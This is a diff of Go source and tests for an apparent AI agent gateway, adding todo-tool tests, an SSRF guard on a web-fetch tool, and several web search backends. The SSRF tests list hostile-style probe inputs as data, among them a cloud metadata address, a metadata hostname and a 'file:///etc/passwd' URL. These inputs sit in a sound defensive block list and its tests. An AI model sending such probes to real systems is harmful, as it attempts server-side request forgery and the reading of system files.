}
assert.Equal(t, "t3", nextTodoID(items))
}
// --- formatTodos ordering ---
func TestFormatTodosSortsByStatusThenID(t *testing.T) {
items := []TodoItem{
{ID: "t3", Content: "c3", Status: TodoCompleted},
{ID: "t1", Content: "c1", Status: TodoPending},
{ID: "t2", Content: "c2", Status: TodoInProgress},
{ID: "t4", Content: "c4", Status: TodoInProgress},
}
got := formatTodos(items)
// Order: in_progress (t2, t4), then pending (t1), then completed (t3).
t2Idx := indexOf(got, "t2")
t4Idx := indexOf(got, "t4")
t1Idx := indexOf(got, "t1")
t3Idx := indexOf(got, "t3")
require.True(t, t2Idx < t4Idx, "in_progress sorted by id")
require.True(t, t4Idx < t1Idx, "in_progress before pending")
require.True(t, t1Idx < t3Idx, "pending before completed")
}
// --- corrupt store ---
func TestTodoWriteCorruptStoreSurfacesError(t *testing.T) {
dir := t.TempDir()
require.NoError(t, os.MkdirAll(filepath.Join(dir, ".felix"), 0o755))
require.NoError(t, os.WriteFile(filepath.Join(dir, ".felix", "todos.json"), []byte("{not valid json"), 0o644))
tool := &TodoWriteTool{WorkDir: dir}
res, _ := tool.Execute(context.Background(), json.RawMessage(`{"op":"list"}`))
// Corrupt store must not return "(no todos)" — that would be
// silent data loss. Surface the error so a human can intervene.
assert.Contains(t, res.Error, "load todos")
}
// --- headless mode ---
func TestTodoWriteHeadlessNoWorkDir(t *testing.T) {
// No WorkDir → no persistence. Operations still succeed but
// state lives only in the current call (not even between calls
// on the same tool — that's intentional; the persistence layer
// IS the WorkDir file).
tool := &TodoWriteTool{}
res, _ := tool.Execute(context.Background(), json.RawMessage(`{"op":"add","content":"x"}`))
assert.Empty(t, res.Error)
assert.Contains(t, res.Output, "[ ] t1 — x")
res2, _ := tool.Execute(context.Background(), json.RawMessage(`{"op":"list"}`))
// No persistence, so the second list call sees nothing.
assert.Equal(t, "(no todos)", res2.Output)
}
func TestTodoWriteIsConcurrencySafeFalse(t *testing.T) {
tool := &TodoWriteTool{}
assert.False(t, tool.IsConcurrencySafe(nil),
"todo_write is stateful read-modify-write; concurrent dispatch would race")
}
// helper
func indexOf(s, sub string) int {
for i := 0; i+len(sub) <= len(s); i++ {
if s[i:i+len(sub)] == sub {
return i
}
}
return -1
}
+76
View File
@@ -0,0 +1,76 @@
package web
import (
"fmt"
"net"
"net/url"
"strings"
)
// privateNetworks defines CIDR ranges considered internal/private.
var privateNetworks = []string{
"127.0.0.0/8", // loopback
"10.0.0.0/8", // RFC 1918
"172.16.0.0/12", // RFC 1918
"192.168.0.0/16", // RFC 1918
"169.254.0.0/16", // link-local
"::1/128", // IPv6 loopback
"fc00::/7", // IPv6 unique local
"fe80::/10", // IPv6 link-local
}
var parsedPrivateNets []*net.IPNet
func init() {
for _, cidr := range privateNetworks {
_, ipNet, err := net.ParseCIDR(cidr)
if err == nil {
parsedPrivateNets = append(parsedPrivateNets, ipNet)
}
}
}
// isPrivateIP returns true if the IP address is in a private/internal range.
func isPrivateIP(ip net.IP) bool {
for _, n := range parsedPrivateNets {
if n.Contains(ip) {
return true
}
}
return false
}
// ValidateURLNotInternal checks that a URL does not point to an internal/private
// network address. This prevents SSRF attacks that could access cloud metadata
// endpoints, localhost services, or internal network resources.
func ValidateURLNotInternal(rawURL string) error {
u, err := url.Parse(rawURL)
if err != nil {
return fmt.Errorf("invalid URL: %w", err)
}
host := u.Hostname()
if host == "" {
return fmt.Errorf("URL has no host")
}
// Block common metadata hostnames
lower := strings.ToLower(host)
if lower == "metadata.google.internal" || lower == "metadata" {
return fmt.Errorf("access to internal metadata endpoint is blocked")
}
// Resolve hostname to IP addresses
ips, err := net.LookupIP(host)
if err != nil {
return fmt.Errorf("cannot resolve hostname %q — blocking to prevent SSRF", host)
}
for _, ip := range ips {
if isPrivateIP(ip) {
return fmt.Errorf("access to internal address %s (%s) is blocked", host, ip)
}
}
return nil
}
+47
View File
@@ -0,0 +1,47 @@
package web
import (
"strings"
"testing"
"github.com/stretchr/testify/assert"
)
func TestValidateURLNotInternal_BlocksLoopback(t *testing.T) {
cases := []string{
"http://127.0.0.1/",
"http://localhost/",
"http://[::1]/",
"http://10.0.0.1/",
"http://172.16.0.1/",
"http://192.168.1.1/",
"http://169.254.169.254/", // AWS/GCP/Azure metadata IP
"http://metadata.google.internal/", // GCP metadata host
}
for _, u := range cases {
t.Run(u, func(t *testing.T) {
err := ValidateURLNotInternal(u)
assert.Error(t, err, "url %s should be blocked as internal", u)
})
}
}
func TestValidateURLNotInternal_AllowsPublic(t *testing.T) {
for _, u := range []string{
"https://example.com/",
"https://api.github.com/repos/foo/bar",
"http://1.1.1.1/",
} {
err := ValidateURLNotInternal(u)
assert.NoError(t, err, "public url %s should be allowed", u)
}
}
func TestValidateURLNotInternal_RejectsBadScheme(t *testing.T) {
// file:// URLs lack a host, so SSRF guard rejects on parse — either
// "no host" or a scheme/http complaint is acceptable; what matters is
// it does not silently allow the URL.
err := ValidateURLNotInternal("file:///etc/passwd")
assert.Error(t, err, "non-http schemes must be rejected")
_ = strings.TrimSpace(err.Error())
}
+142
View File
@@ -0,0 +1,142 @@
package web
import (
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"strings"
"time"
htmltomarkdown "github.com/JohannesKaufmann/html-to-markdown/v2"
"github.com/sausheong/harness/tool"
)
const (
maxFetchSize = 5 * 1024 * 1024 // 5MB
fetchTimeout = 30 * time.Second
MaxOutputLength = 50000 // truncate very long pages
)
// WebFetchTool fetches a URL and returns its content as markdown.
type WebFetchTool struct{}
type webFetchInput struct {
URL string `json:"url"`
Headers map[string]string `json:"headers,omitempty"`
}
func (t *WebFetchTool) Name() string { return "web_fetch" }
func (t *WebFetchTool) Description() string {
return "Fetch the content of a web page at the given URL. Returns the page content converted to readable markdown text. Use this to read documentation, articles, API responses, or any web content."
}
func (t *WebFetchTool) Parameters() json.RawMessage {
return json.RawMessage(`{
"type": "object",
"properties": {
"url": {
"type": "string",
"description": "The URL to fetch (must start with http:// or https://)"
},
"headers": {
"type": "object",
"description": "Optional HTTP headers to include in the request",
"additionalProperties": { "type": "string" }
}
},
"required": ["url"]
}`)
}
// IsConcurrencySafe returns true — web_fetch is a pure read.
func (t *WebFetchTool) IsConcurrencySafe(_ json.RawMessage) bool { return true }
func (t *WebFetchTool) Execute(ctx context.Context, input json.RawMessage) (tool.ToolResult, error) {
var in webFetchInput
if err := json.Unmarshal(input, &in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid input: %v", err)}, nil
}
if in.URL == "" {
return tool.ToolResult{Error: "url is required"}, nil
}
if !strings.HasPrefix(in.URL, "http://") && !strings.HasPrefix(in.URL, "https://") {
return tool.ToolResult{Error: "url must start with http:// or https://"}, nil
}
if err := ValidateURLNotInternal(in.URL); err != nil {
return tool.ToolResult{Error: err.Error()}, nil
}
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, in.URL, nil)
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid URL: %v", err)}, nil
}
req.Header.Set("User-Agent", "Felix/1.0 (AI Agent Gateway)")
req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,text/plain;q=0.8,application/json;q=0.7,*/*;q=0.5")
for k, v := range in.Headers {
req.Header.Set(k, v)
}
client := &http.Client{
Timeout: fetchTimeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 10 {
return fmt.Errorf("too many redirects (max 10)")
}
// Re-validate each redirect destination against SSRF blocklist
if err := ValidateURLNotInternal(req.URL.String()); err != nil {
return fmt.Errorf("redirect blocked: %w", err)
}
return nil
},
}
resp, err := client.Do(req)
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("fetch failed: %v", err)}, nil
}
defer resp.Body.Close()
if resp.StatusCode >= 400 {
return tool.ToolResult{Error: fmt.Sprintf("HTTP %d: %s", resp.StatusCode, resp.Status)}, nil
}
body, err := io.ReadAll(io.LimitReader(resp.Body, maxFetchSize))
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("read body failed: %v", err)}, nil
}
contentType := resp.Header.Get("Content-Type")
content := string(body)
// Convert HTML to markdown for readability
if strings.Contains(contentType, "text/html") || strings.Contains(contentType, "application/xhtml") {
md, err := htmltomarkdown.ConvertString(content)
if err == nil {
content = md
}
}
// Truncate very long content
if len(content) > MaxOutputLength {
content = content[:MaxOutputLength] + "\n\n[Content truncated — exceeded maximum length]"
}
return tool.ToolResult{
Output: content,
Metadata: map[string]any{
"url": in.URL,
"status": resp.StatusCode,
"content_type": contentType,
"length": len(body),
},
}, nil
}
+276
View File
@@ -0,0 +1,276 @@
package web
import (
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"net/url"
"strings"
"time"
"github.com/sausheong/harness/tool"
)
const searchTimeout = 15 * time.Second
// WebSearchTool searches the web and returns results via a configurable
// backend. The default backend (when Backend is nil) scrapes DuckDuckGo's
// HTML interface — no API key required, but fragile to upstream HTML
// changes. Production users who care about reliability should configure a
// stable backend (Brave, Tavily) or self-host SearXNG.
type WebSearchTool struct {
// Backend is the active search strategy. Constructed at registration
// time from config; nil means "use the default DDG scraper" so a
// no-config install still works.
Backend WebSearchBackend
}
type webSearchInput struct {
Query string `json:"query"`
MaxResults int `json:"max_results,omitempty"`
}
func (t *WebSearchTool) Name() string { return "web_search" }
func (t *WebSearchTool) Description() string {
return "Search the web for information. Returns search results with titles, URLs, and snippets. Use this when you need current information, documentation, or to find web resources."
}
func (t *WebSearchTool) Parameters() json.RawMessage {
return json.RawMessage(`{
"type": "object",
"properties": {
"query": {
"type": "string",
"description": "The search query"
},
"max_results": {
"type": "integer",
"description": "Maximum number of results to return (default: 5, max: 10)"
}
},
"required": ["query"]
}`)
}
// IsConcurrencySafe returns true — web_search is a pure read.
func (t *WebSearchTool) IsConcurrencySafe(_ json.RawMessage) bool { return true }
// SetBackend swaps the active backend. Called from the config hot-reload
// path so settings-page edits take effect on the next agent turn without
// a restart. Concurrency-safe with Execute calls because only the
// pointer is replaced — the old backend remains usable until any
// in-flight Execute returns.
func (t *WebSearchTool) SetBackend(b WebSearchBackend) {
t.Backend = b
}
func (t *WebSearchTool) Execute(ctx context.Context, input json.RawMessage) (tool.ToolResult, error) {
var in webSearchInput
if err := json.Unmarshal(input, &in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid input: %v", err)}, nil
}
if in.Query == "" {
return tool.ToolResult{Error: "query is required"}, nil
}
maxResults := in.MaxResults
if maxResults <= 0 {
maxResults = 5
}
if maxResults > 10 {
maxResults = 10
}
ctx, cancel := context.WithTimeout(ctx, searchTimeout)
defer cancel()
backend := t.Backend
if backend == nil {
backend = newDDGBackend()
}
results, err := backend.Search(ctx, in.Query, maxResults)
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("search failed (%s): %v", backend.Name(), err)}, nil
}
if len(results) == 0 {
return tool.ToolResult{Output: "No results found for: " + in.Query}, nil
}
var sb strings.Builder
for i, r := range results {
fmt.Fprintf(&sb, "%d. **%s**\n %s\n %s\n\n", i+1, r.Title, r.URL, r.Snippet)
}
return tool.ToolResult{
Output: sb.String(),
Metadata: map[string]any{
"query": in.Query,
"num_results": len(results),
},
}, nil
}
type searchResult struct {
Title string
URL string
Snippet string
}
// duckDuckGoSearch performs a search using DuckDuckGo's HTML interface
// and extracts results. No API key required.
func duckDuckGoSearch(ctx context.Context, query string, maxResults int) ([]searchResult, error) {
searchURL := "https://html.duckduckgo.com/html/?q=" + url.QueryEscape(query)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, searchURL, nil)
if err != nil {
return nil, err
}
req.Header.Set("User-Agent", "Felix/1.0 (AI Agent Gateway)")
resp, err := http.DefaultClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("search returned HTTP %d", resp.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 1*1024*1024))
if err != nil {
return nil, err
}
return parseDDGResults(string(body), maxResults), nil
}
// parseDDGResults extracts search results from DuckDuckGo's HTML response.
func parseDDGResults(html string, maxResults int) []searchResult {
var results []searchResult
// DuckDuckGo HTML results are in <a class="result__a" ...> tags
// with snippets in <a class="result__snippet" ...> tags
remaining := html
for len(results) < maxResults {
// Find result link
linkIdx := strings.Index(remaining, `class="result__a"`)
if linkIdx == -1 {
break
}
remaining = remaining[linkIdx:]
// Extract href
href := extractAttr(remaining, "href")
// Extract title text
title := extractTagText(remaining, "a")
// Find snippet
snippetIdx := strings.Index(remaining, `class="result__snippet"`)
snippet := ""
if snippetIdx != -1 {
snippet = extractTagText(remaining[snippetIdx:], "a")
}
// Clean up the URL — DDG wraps URLs in a redirect
cleanURL := cleanDDGURL(href)
if cleanURL != "" && title != "" {
results = append(results, searchResult{
Title: cleanHTMLText(title),
URL: cleanURL,
Snippet: cleanHTMLText(snippet),
})
}
// Move past this result
nextIdx := strings.Index(remaining[1:], `class="result__a"`)
if nextIdx == -1 {
break
}
remaining = remaining[nextIdx+1:]
}
return results
}
// extractAttr extracts the value of the first href attribute found.
func extractAttr(html, attr string) string {
needle := attr + `="`
idx := strings.Index(html, needle)
if idx == -1 {
return ""
}
start := idx + len(needle)
end := strings.Index(html[start:], `"`)
if end == -1 {
return ""
}
return html[start : start+end]
}
// extractTagText extracts text content from the first occurrence of a tag.
func extractTagText(html, tag string) string {
start := strings.Index(html, ">")
if start == -1 {
return ""
}
start++
endTag := "</" + tag + ">"
end := strings.Index(html[start:], endTag)
if end == -1 {
return ""
}
return html[start : start+end]
}
// cleanDDGURL extracts the actual URL from DuckDuckGo's redirect wrapper.
func cleanDDGURL(rawURL string) string {
// DDG wraps URLs like: //duckduckgo.com/l/?uddg=https%3A%2F%2Fexample.com&rut=...
if strings.Contains(rawURL, "uddg=") {
parsed, err := url.Parse(rawURL)
if err != nil {
return rawURL
}
uddg := parsed.Query().Get("uddg")
if uddg != "" {
return uddg
}
}
if strings.HasPrefix(rawURL, "//") {
return "https:" + rawURL
}
return rawURL
}
// cleanHTMLText removes HTML tags and decodes common entities.
func cleanHTMLText(s string) string {
// Strip HTML tags
var out strings.Builder
inTag := false
for _, r := range s {
if r == '<' {
inTag = true
continue
}
if r == '>' {
inTag = false
continue
}
if !inTag {
out.WriteRune(r)
}
}
result := out.String()
result = strings.ReplaceAll(result, "&amp;", "&")
result = strings.ReplaceAll(result, "&lt;", "<")
result = strings.ReplaceAll(result, "&gt;", ">")
result = strings.ReplaceAll(result, "&quot;", `"`)
result = strings.ReplaceAll(result, "&#x27;", "'")
result = strings.ReplaceAll(result, "&nbsp;", " ")
return strings.TrimSpace(result)
}
+231
View File
@@ -0,0 +1,231 @@
package web
import (
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"net/url"
"strings"
)
// WebSearchBackend is the strategy interface used by WebSearchTool.
// Implementations turn (query, maxResults) into ranked results.
//
// The interface deliberately does not include configuration — backends
// are constructed with their config (API key, base URL, etc.) at
// registration time and remain immutable thereafter. This keeps the tool
// dispatch path zero-allocation in the hot loop.
type WebSearchBackend interface {
Name() string
Search(ctx context.Context, query string, maxResults int) ([]searchResult, error)
}
// ddgBackend is the default backend — scrapes html.duckduckgo.com.
// Fragile (DDG can change their HTML), no API key required, the original
// pre-S1 behavior. Kept as the no-config default so a fresh install with
// no env vars still has working search.
type ddgBackend struct{}
func newDDGBackend() WebSearchBackend { return &ddgBackend{} }
func (b *ddgBackend) Name() string { return "duckduckgo" }
func (b *ddgBackend) Search(ctx context.Context, q string, n int) ([]searchResult, error) {
return duckDuckGoSearch(ctx, q, n)
}
// braveBackend uses the Brave Search REST API.
// Docs: https://api.search.brave.com/app/documentation/web-search/get-started
// Auth: header X-Subscription-Token: <key>
type braveBackend struct {
apiKey string
}
func newBraveBackend(apiKey string) WebSearchBackend { return &braveBackend{apiKey: apiKey} }
func (b *braveBackend) Name() string { return "brave" }
func (b *braveBackend) Search(ctx context.Context, q string, n int) ([]searchResult, error) {
if b.apiKey == "" {
return nil, fmt.Errorf("brave backend: no API key configured")
}
if n > 20 {
n = 20
}
u := "https://api.search.brave.com/res/v1/web/search?q=" + url.QueryEscape(q) +
fmt.Sprintf("&count=%d", n)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, u, nil)
if err != nil {
return nil, err
}
req.Header.Set("Accept", "application/json")
req.Header.Set("X-Subscription-Token", b.apiKey)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
return nil, fmt.Errorf("brave returned HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
var parsed struct {
Web struct {
Results []struct {
Title string `json:"title"`
URL string `json:"url"`
Description string `json:"description"`
} `json:"results"`
} `json:"web"`
}
if err := json.NewDecoder(io.LimitReader(resp.Body, 1<<20)).Decode(&parsed); err != nil {
return nil, fmt.Errorf("brave decode: %w", err)
}
out := make([]searchResult, 0, len(parsed.Web.Results))
for _, r := range parsed.Web.Results {
out = append(out, searchResult{
Title: cleanHTMLText(r.Title),
URL: r.URL,
Snippet: cleanHTMLText(r.Description),
})
}
if n > 0 && len(out) > n {
out = out[:n]
}
return out, nil
}
// tavilyBackend uses the Tavily Search API.
// Docs: https://docs.tavily.com/docs/rest-api/api-reference
// Auth: JSON body field "api_key"; POST to /search.
type tavilyBackend struct {
apiKey string
}
func newTavilyBackend(apiKey string) WebSearchBackend { return &tavilyBackend{apiKey: apiKey} }
func (b *tavilyBackend) Name() string { return "tavily" }
func (b *tavilyBackend) Search(ctx context.Context, q string, n int) ([]searchResult, error) {
if b.apiKey == "" {
return nil, fmt.Errorf("tavily backend: no API key configured")
}
if n > 20 {
n = 20
}
body, _ := json.Marshal(map[string]any{
"api_key": b.apiKey,
"query": q,
"max_results": n,
})
req, err := http.NewRequestWithContext(ctx, http.MethodPost, "https://api.tavily.com/search", strings.NewReader(string(body)))
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", "application/json")
resp, err := http.DefaultClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
raw, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
return nil, fmt.Errorf("tavily returned HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(raw)))
}
var parsed struct {
Results []struct {
Title string `json:"title"`
URL string `json:"url"`
Content string `json:"content"`
} `json:"results"`
}
if err := json.NewDecoder(io.LimitReader(resp.Body, 1<<20)).Decode(&parsed); err != nil {
return nil, fmt.Errorf("tavily decode: %w", err)
}
out := make([]searchResult, 0, len(parsed.Results))
for _, r := range parsed.Results {
out = append(out, searchResult{
Title: r.Title,
URL: r.URL,
Snippet: r.Content,
})
}
return out, nil
}
// searxngBackend talks to a self-hosted SearXNG instance — the
// self-sufficiency-aligned option. JSON output must be enabled on the
// SearXNG server (`enabled_engines` and `formats: [json]` in settings.yml).
type searxngBackend struct {
baseURL string // e.g. "http://localhost:8080"
}
func newSearxngBackend(baseURL string) WebSearchBackend {
return &searxngBackend{baseURL: strings.TrimRight(baseURL, "/")}
}
func (b *searxngBackend) Name() string { return "searxng" }
func (b *searxngBackend) Search(ctx context.Context, q string, n int) ([]searchResult, error) {
if b.baseURL == "" {
return nil, fmt.Errorf("searxng backend: no base URL configured")
}
u := b.baseURL + "/search?format=json&q=" + url.QueryEscape(q)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, u, nil)
if err != nil {
return nil, err
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("searxng returned HTTP %d", resp.StatusCode)
}
var parsed struct {
Results []struct {
Title string `json:"title"`
URL string `json:"url"`
Content string `json:"content"`
} `json:"results"`
}
if err := json.NewDecoder(io.LimitReader(resp.Body, 1<<20)).Decode(&parsed); err != nil {
return nil, fmt.Errorf("searxng decode: %w", err)
}
out := make([]searchResult, 0, len(parsed.Results))
for _, r := range parsed.Results {
out = append(out, searchResult{
Title: r.Title,
URL: r.URL,
Snippet: r.Content,
})
}
if n > 0 && len(out) > n {
out = out[:n]
}
return out, nil
}
// WebSearchConfig selects the backend at registration time. Empty Backend
// or Backend == "duckduckgo" yields the default DDG scraper (no API key).
// "brave" + APIKey, "tavily" + APIKey, and "searxng" + BaseURL each
// activate their respective backends.
type WebSearchConfig struct {
Backend string // "duckduckgo" (default) | "brave" | "tavily" | "searxng"
APIKey string // for brave / tavily
BaseURL string // for searxng
}
// NewWebSearchBackend resolves a WebSearchConfig into a concrete backend.
// Returns the DDG fallback when the config is empty or names an unknown
// backend; never returns nil. Logging the fallback is the caller's
// responsibility (registerWebSearch in the gateway wires that).
func NewWebSearchBackend(cfg WebSearchConfig) WebSearchBackend {
switch strings.ToLower(strings.TrimSpace(cfg.Backend)) {
case "", "duckduckgo", "ddg":
return newDDGBackend()
case "brave":
return newBraveBackend(cfg.APIKey)
case "tavily":
return newTavilyBackend(cfg.APIKey)
case "searxng":
return newSearxngBackend(cfg.BaseURL)
default:
return newDDGBackend()
}
}